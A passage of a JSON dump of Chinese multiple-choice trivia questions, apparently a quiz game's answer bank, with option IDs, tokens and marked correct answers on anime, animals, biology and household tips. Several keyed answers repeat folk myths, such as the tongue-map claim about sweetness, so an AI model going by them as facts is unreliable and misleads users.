16:48:00","status":"1"},{"questionId":"8701437805","questionIndex":"5","questionStem":"动画《银魂》中Hata王子来自哪个星球?","options":"[{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neipJGdLKK1TcxDPdog\",\"optionDesc\":\"多古拉星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1ne7FW1diGlCKzFn2-1w\",\"optionDesc\":\"翠星\"}]","questionToken":"I8MSx0BQiDYWGJWf-_V8KsiBSN3gq475C9Rv9nxT_Vdh0pOEhJUK6aijsX4SlhRm1hdtY73YPbFt7JuKCCTxfCE2rvqhNA","correct":"{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"8701437806","questionIndex":"4","questionStem":"动画《海贼王》从哪一年开播的?","options":"[{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1nenxfc627VuEGJwM\",\"optionDesc\":\"1998年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1ne9g15laiX8eWp2E\",\"optionDesc\":\"2001年\"}]","questionToken":"I8MSx0BQiDYWG5We-_V8LRjV7_l_W_MzprLCaOpXz4Zwv4Z1aYIgsJDelOBlPIbd0MGoe_2EtyD5LoYEYCp7ZK7WkAjKqA","correct":"{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437807","questionIndex":"4","questionStem":"黑猫警长每集打四枪出现四个字是?","options":"[{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1ne1sCnFp8_Lb7TebxHw\",\"optionDesc\":\"保卫人民\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neh1dozd7erMRncf4_Q\",\"optionDesc\":\"惩奸除恶\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}]","questionToken":"I8MSx0BQiDYWGpWe-_V8KvRkcbkWShEMyO1si7EGemkPsa6FAMsDyUL1DT9lvgPvCtod7X0uW5Z4cZ9_c8_0oechJpmcNg","correct":"{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437808","questionIndex":"5","questionStem":"《鬼灭之刃》的主角叫什么?","options":"[{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1negM7qG-dL3pPJJLMFw\",\"optionDesc\":\"小楠\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1ne2MQN7OLFMwgPLvqrA\",\"optionDesc\":\"琪琪子\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}]","questionToken":"I8MSx0BQiDYWFZWf-_V8LapfoHX0MOToEwNQfY6k8yOtylYOZrSxewGT203PoakVwot5h6xHvZOUQUm4hMFwigEGINx-dw","correct":"{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8801427246","questionIndex":"3","questionStem":"人舌头的哪个部位对甜味最敏感?","options":"[{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayco87N2zpRpMdIQ\",\"optionDesc\":\"舌中间\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayElcrSTA7KX-iRU\",\"optionDesc\":\"舌两侧\"}]","questionToken":"I8wSx0BRiDylPUzys5dBnryc_bLW_Kp6av-pcNF5HfQ7B_qEkutyekOt865-OKXh4Z9RGQVDNKEVL3iTY1DoC5vChMr8GA","correct":"{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"8801427247","questionIndex":"3","questionStem":"感冒忌吃下列哪一种食物?","options":"[{\"optionId\":\"I8wSx0BRiDylPEyioN9ayMFzACuerqzQ08XnwQ\",\"optionDesc\":\"生姜\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayfEiR8oYqK_znAqZDg\",\"optionDesc\":\"豆浆\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}]","questionToken":"I8wSx0BRiDylPEzys5dBmbZ1XAgE7aFC3LTMkfWuc5WE_3DNnYB2snyrspMqziigksjnGPYR9eAVKVjonNw9zQdOAetJSg","correct":"{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"8801427248","questionIndex":"2","questionStem":"通常所说的“生命中枢”是指?","options":"[{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayWCnHR7fYC9KbAJT\",\"optionDesc\":\"下丘脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayCbrzHLhMNlCWVVk\",\"optionDesc\":\"中脑\"}]","questionToken":"I8wSx0BRiDylM0zzs5dBntKpg0eTl-A2GlLLHbEffQ1WhkdHNKkMc5qooyYP3QtZGC2fvPbbo-20rewUMtNNfSczsXFllg","correct":"{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"}","create_time":"27/1/2021 04:43:50","update_time":"27/1/2021 04:43:50","status":"1"},{"questionId":"8801427249","questionIndex":"2","questionStem":"数学符号中的“0”起源于?","options":"[{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayQsgh1pXa_uyXKs\",\"optionDesc\":\"古罗马\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayNVkOZfJLwEoOJ8\",\"optionDesc\":\"古希腊\"}]","questionToken":"I8wSx0BRiDylMkzzs5dBnsJtKysoMenCpwhYtcMeSXsYcTGTRLKz2HoV_rAcWgP6CbqujlaXafntiSnxangWhH4xWEns0A","correct":"{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"8801427254","questionIndex":"4","questionStem":"牛的“年轮”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRiDykP0yioN9ayW8sb1EnwLu4Dcsa\",\"optionDesc\":\"牛角上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ayARgSh-5eLZEOSq-\",\"optionDesc\":\"牛蹄上\"}]","questionToken":"I8wSx0BRiDykP0z1s5dBmXbJ6o7-nqaqYHwCBR3kpUv39J7z3AEuss1bYbWfkieO2FdrdarYa8WEJGAU7Qg4sQJ0ZHya4w","correct":"{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801427255","questionIndex":"5","questionStem":"下列哪种鸟会 “反哺”?","options":"[{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayGNRtIoWiJS9Mlg\",\"optionDesc\":\"燕子\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayUTESin2S3go8MI\",\"optionDesc\":\"喜鹊\"}]","questionToken":"I8wSx0BRiDykPkz0s5dBmay_zv2jk1mVGEXJjCv5F8hrTwvrV8YQcYIe8WBioJvGDYYWeEGccxiqGvuRD4E8sNaHihv3tw","correct":"{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801427256","questionIndex":"3","questionStem":"哪一种动物是“唯一能参加奥运会的动物”?","options":"[{\"optionId\":\"I8wSx0BRiDykPUyioN9ayU6vMt8OB65FIrrT\",\"optionDesc\":\"河马\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ayKY2OdcYaEYqmubP\",\"optionDesc\":\"猩猩\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}]","questionToken":"I8wSx0BRiDykPUzys5dBnksKupMPx3qtMl0N4f0v6dgpiauMBltewHbT_yiiBLKFDGHhzPUmLwzA643M3d011XtrX6Gv_g","correct":"{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}","create_time":"27/1/2021 04:50:18","update_time":"27/1/2021 04:50:18","status":"1"},{"questionId":"8801427257","questionIndex":"5","questionStem":"吃虫最多的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykPEyioN9aybRnB45JfEeRDAC2\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ayNrHBeNdUQ655hnk\",\"optionDesc\":\"啄木鸟\"}]","questionToken":"I8wSx0BRiDykPEz0s5dBnsIFAkM_SPtsHyxmVea00IHXfVPsfn8u5FtvlG5Dl-TZqxEzuo2eh9tn_frtjjyZgwJOPkYWcA","correct":"{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"8801427258","questionIndex":"1","questionStem":"最大的两栖动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9ayBeHUVxzymOpZiZO\",\"optionDesc\":\"蟾蜍\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9aybJatm0M-qsg8N1M\",\"optionDesc\":\"角怪\"}]","questionToken":"I8wSx0BRiDykM0zws5dBnnSu9BIM4lEsXFFGnN8ULb00J8Y_WPuk0J3zzn-8w7uHZB3eQykyVjJyY7CXC3I_V6Nkpcr1_g","correct":"{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"}","create_time":"27/1/2021 04:37:23","update_time":"27/1/2021 04:37:23","status":"1"},{"questionId":"8801427259","questionIndex":"2","questionStem":"下列动物中不能够眨眼的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykMkyioN9aycOaueYIpEDLSJym\",\"optionDesc\":\"青蛙\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayK2LfhfFOl9puW7U\",\"optionDesc\":\"蜥蜴\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}]","questionToken":"I8wSx0BRiDykMkzzs5dBnq7bp6s-JE0eMf9JA_g01xV18--PCivfmHePvjzVRyIwvjyOS9ex2vEYXJ1d3J8U92hMj7ERHg","correct":"{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}","create_time":"27/1/2021 04:38:23","update_time":"27/1/2021 04:38:23","status":"1"},{"questionId":"8801427262","questionIndex":"4","questionStem":"下列哪种动物不属于哺乳动物?","options":"[{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayJ6n-N6t-lfZx2AZRw\",\"optionDesc\":\"鲸\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayfUS2hC4iaEPkEPGuA\",\"optionDesc\":\"袋鼠\"}]","questionToken":"I8wSx0BRiDynOUz1s5dBmQyqQ-bGYy2mvF-3nf_2eN5GR3Yr82LKMRETSqPc2Gtmu13d1pHV-P1q2F5421Lm5W4z6NpdFQ","correct":"{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801427271","questionIndex":"5","questionStem":"蜗牛头上前面的一对“角”主要有什么作用?","options":"[{\"optionId\":\"I8wSx0BRiDymOkyioN9ayb2OjwQwragQjzU\",\"optionDesc\":\"捕食\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayERMr72xsWgTxyc\",\"optionDesc\":\"爬行\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}]","questionToken":"I8wSx0BRiDymOkz0s5dBmXhryIxD07Bfb_PznrJm5SEqxNVgyEj5ussQzf-vmhhe2fA3YSxCkQoP5YsctJ2Jl-fhtY0ytQ","correct":"{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}","create_time":"27/1/2021 04:38:36","update_time":"27/1/2021 04:38:36","status":"1"},{"questionId":"8801427272","questionIndex":"3","questionStem":"洗衣服时,用什么浸泡后再洗,不易掉色?","options":"[{\"optionId\":\"I8wSx0BRiDymOUyioN9ayTUTp5XZePxMRDwx\",\"optionDesc\":\"50%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ayDqZfAkMRyXoUB_8\",\"optionDesc\":\"醋\"}]","questionToken":"I8wSx0BRiDymOUzys5dBmRkDCj5MBIhnfMURbZXAAs2TxKu6F5jE6jcLLBnK4OJkNF8zQZCamhRP97CCVSvZkromV2DLsQ","correct":"{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"8801427814","questionIndex":"4","questionStem":"下列地点与电影奖搭配不正确的是?","options":"[{\"optionId\":\"I8wSx0BRiDah3PEWIb77q1f1SbtbI51Pbb8\",\"optionDesc\":\"洛杉矶一奥斯卡\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qv1m4yruABQOxqs\",\"optionDesc\":\"戛纳一金棕榈\"}]","questionToken":"I8wSx0BRiDah3PFBMvbg_GqzQeH0zWjrzU7AZlgGnnkcfGtf-sRWsMI71zbdPun-JLCrm5eiPWEc5-0ghnijxc_Ek8xHlA","correct":"{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"8801427815","questionIndex":"1","questionStem":"下半旗是把旗子下降到?","options":"[{\"optionId\":\"I8wSx0BRiDah3fEWIb77q5R_EbY6MQuqnlNSIQ\",\"optionDesc\":\"旗杆的一半处 \"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qt3h4GyJ4D-bAZTsog\",\"optionDesc\":\"下降1米\"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}]","questionToken":"I8wSx0BRiDah3fFEMvbg-4Akrl8Y7Y2Vn5KbMhZQXGGDljXtiyklfE8UjuYOpVp_sTAIsUj64GzugilpLSwZxFSegxdc4g","correct":"{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}","create_time":"27/1/2021 04:03:32","update_time":"27/1/2021 04:03:32","status":"1"},{"questionId":"8801427816","questionIndex":"2","questionStem":"人体最大的解毒器宫是?","options":"[{\"optionId\":\"I8wSx0BRiDah3vEWIb77qmTbhUyh0tyyYghWTg\",\"optionDesc\":\"肾脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qzlQmbxS0UH1dyQa2A\",\"optionDesc\":\"脾\"}]","questionToken":"I8wSx0BRiDah3vFHMvbg_KucPFYTCpDJBrg3EGbrVcFwOMtOYKbT3MijDpTjMil5ZIzj6d6sPXeUFi_KPgKMm8EThEpmEw","correct":"{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:56:16","update_time":"27/1/2021 04:56:16","status":"1"},{"questionId":"8801428716","questionIndex":"3","questionStem":"满汉全席兴起于?","options":"[{\"optionId\":\"I8wSx0BRhzmQEsEb572V6wOiUtNM6XwzvNbS\",\"optionDesc\":\"宋代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6kQUBPn2786MW5hg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}]","questionToken":"I8wSx0BRhzmQEsFL9PWOu4ClnkjCse9iADf5unkb1uZLyYjMMVOzEdbvx_jtwTIunxPL-9Sb0Kccq_-QczDIpi_gize7Ww","correct":"{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"8801428717","questionIndex":"5","questionStem":"动物细胞中的“能量转换器”是?","options":"[{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6-MeR0R1g5Q85ZB2Cg\",\"optionDesc\":\"染色体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6k6e9hMDSMddy99BRA\",\"optionDesc\":\"叶绿体\"}]","questionToken":"I8wSx0BRhzmQE8FN9PWOuxpBvKbbbshXLUEyFII4uWoJBXZF8jJprDdDWbnPYQZRwAG2K6oD08a62cguVy3AApKyBjGtdg","correct":"{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"}","create_time":"27/1/2021 04:26:04","update_time":"27/1/2021 04:26:04","status":"1"},{"questionId":"8801428718","questionIndex":"5","questionStem":"世界上最小的鸟是?","options":"[{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V65d5K_deXVIWJJQ\",\"optionDesc\":\"麻雀\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V6lR6z1aYrMbyqZU\",\"optionDesc\":\"百灵\"}]","questionToken":"I8wSx0BRhzmQHMFN9PWOvEhAlEWsDH5jO20iB6-X67k6RaHM7t92k4TbNbpBSgCdtYpxvPOXx9-aVKilcaa6U3rV9G10Tg","correct":"{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"}","create_time":"27/1/2021 04:37:02","update_time":"27/1/2021 04:37:02","status":"1"},{"questionId":"8801428720","questionIndex":"4","questionStem":"以下动物中,一般寿命最长的是?","options":"[{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V65XMHkbSzk4kbFEd\",\"optionDesc\":\"企鹅\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V6u-QMfEUlyGMiviR\",\"optionDesc\":\"鸬鹚\"}]","questionToken":"I8wSx0BRhzmTFMFM9PWOvKcOKT_Y1yncNyr8qPDePM8c6tw5OvpDkHpNR17lsGLTIl0zQTkPpFxIlYjaynPoYpdXyDN-GQ","correct":"{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"}","create_time":"27/1/2021 04:45:58","update_time":"27/1/2021 04:45:58","status":"1"},{"questionId":"8801428723","questionIndex":"2","questionStem":"蝗虫的“耳朵”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRhzmTF8Eb572V68SFHYGq9np_7Is\",\"optionDesc\":\"头部\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6qcb18tVa13QeAU\",\"optionDesc\":\"翅膀上\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}]","questionToken":"I8wSx0BRhzmTF8FK9PWOu1aVjs9l7mGo6PpnKuI0gZiiFacxofZ0tlUmcDXjYtRfpYCqGjU1G6hiOBLuY8rDcdDtGeOHqQ","correct":"{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}","create_time":"27/1/2021 04:39:19","update_time":"27/1/2021 04:39:19","status":"1"},{"questionId":"8801428724","questionIndex":"5","questionStem":"人体分解和代谢酒精的器官是?","options":"[{\"optionId\":\"I8wSx0BRhzmTEMEb572V6wEzlB3Y_b69ORWm\",\"optionDesc\":\"胃\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6m9WouTJ9GHdIy8d\",\"optionDesc\":\"脾\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}]","questionToken":"I8wSx0BRhzmTEMFN9PWOvPFoseLsbpOOEpID7jswQdgrg2tCkFtmxAWccV2tL0H7U7lZcF6-MG8_xLbwSWj5pHI3__9-Vw","correct":"{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428725","questionIndex":"2","questionStem":"“蓬荜生辉”中的“蓬荜”原指房子的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V6uFJKtOB2uW8iIqa3g\",\"optionDesc\":\"窗户\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V64_YqEg6sBQMzOylfg\",\"optionDesc\":\"房檐\"}]","questionToken":"I8wSx0BRhzmTEcFK9PWOu-ccn0jiZXiacp-iwbgieWRphvY5hx9U7YToCE6VCPCv5CPqlj_dGjEtqY1l8AwfGBm5kXcnsg","correct":"{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"}","create_time":"27/1/2021 04:46:23","update_time":"27/1/2021 04:46:23","status":"1"},{"questionId":"8801428726","questionIndex":"1","questionStem":"最早的打字机是为谁设计的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V69HfIA5-dUMmkCOG\",\"optionDesc\":\"作家\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V6obo8i4NyR4n23u4\",\"optionDesc\":\"商人\"}]","questionToken":"I8wSx0BRhzmTEsFJ9PWOvO2ZqnzmdLECt1ou1C2iXskRMg0vg4mjQoYKUmOHT1OlYTDgfCwa3vBrjcWjBYYkW1IAx3dWkQ","correct":"{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 04:35:39","status":"1"},{"questionId":"8801428727","questionIndex":"2","questionStem":"如想去除衣服上的铁锈,应使用?","options":"[{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6iF-0Ozv_qatulq_FQ\",\"optionDesc\":\"肥皂\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V62N1lVAyCyjmHBlgiw\",\"optionDesc\":\"盐酸\"}]","questionToken":"I8wSx0BRhzmTE8FK9PWOvPvv3PAXa_LRYVYAJFVP41d-B5dc8c7jHLtxj1zf6SoD6lGhk7u39tOCjWMQNevMMBpnYT5l-Q","correct":"{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"}","create_time":"27/1/2021 04:44:39","update_time":"27/1/2021 04:44:39","status":"1"},{"questionId":"8801428728","questionIndex":"1","questionStem":"我国第一部由国家颁布的药典是?","options":"[{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V6oEPdy81XiZlgJQ\",\"optionDesc\":\"《本草纲目》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V61QGR3pED3hXkN8\",\"optionDesc\":\"《诸病源候论》\"}]","questionToken":"I8wSx0BRhzmTHMFJ9PWOvGlBOfiSIynHV9DWwnOOIL0C8gWV09O_wnAdNWmqFosdP7AxsF5kx4pD6ImfbVSDW843X2szZw","correct":"{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"8801428729","questionIndex":"4","questionStem":"X射线照射会导致?","options":"[{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V6qyCI2AF-0POQqQ\",\"optionDesc\":\"缺铁性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V60h82oPUkF-xf9k\",\"optionDesc\":\"溶血性贫血\"}]","questionToken":"I8wSx0BRhzmTHcFM9PWOvGZ-TgPlos0XD9CsUdfyES4HKYpM58MSwRueRncz61UBG9o5jrHjHOlQ1pex5PtxQPBKOokuhQ","correct":"{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 04:40:57","status":"1"},{"questionId":"8801428730","questionIndex":"2","questionStem":"苹果中含有增强记忆力的微量元素是?","options":"[{\"optionId\":\"I8wSx0BRhzmSFMEb572V6-9HP7Qevv3OIrV6\",\"optionDesc\":\"碘\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6hO4v4QFu-fuqZmq\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}]","questionToken":"I8wSx0BRhzmSFMFK9PWOvE4gIetEmVLsOxdDOxpAauALQMspWM_V15GoXHWddS8dH66tYury7z8J1mzx4Bh5bz8dchyHAw","correct":"{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428791","questionIndex":"5","questionStem":"方便面里必然有哪种食品添加剂?","options":"[{\"optionId\":\"I8wSx0BRhzmYFcEb572V60mzbnD3CQp1yses\",\"optionDesc\":\"防腐剂\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6rdZK6RpQclnwZ_i\",\"optionDesc\":\"食用色素\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}]","questionToken":"I8wSx0BRhzmYFcFN9PWOvHTVcKqfwBqRUyP3DxoQYugbc_FtHRBvdpifQCjD1_AAlEZKrRExVD-qh2u_bj74jYbHilGjuw","correct":"{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 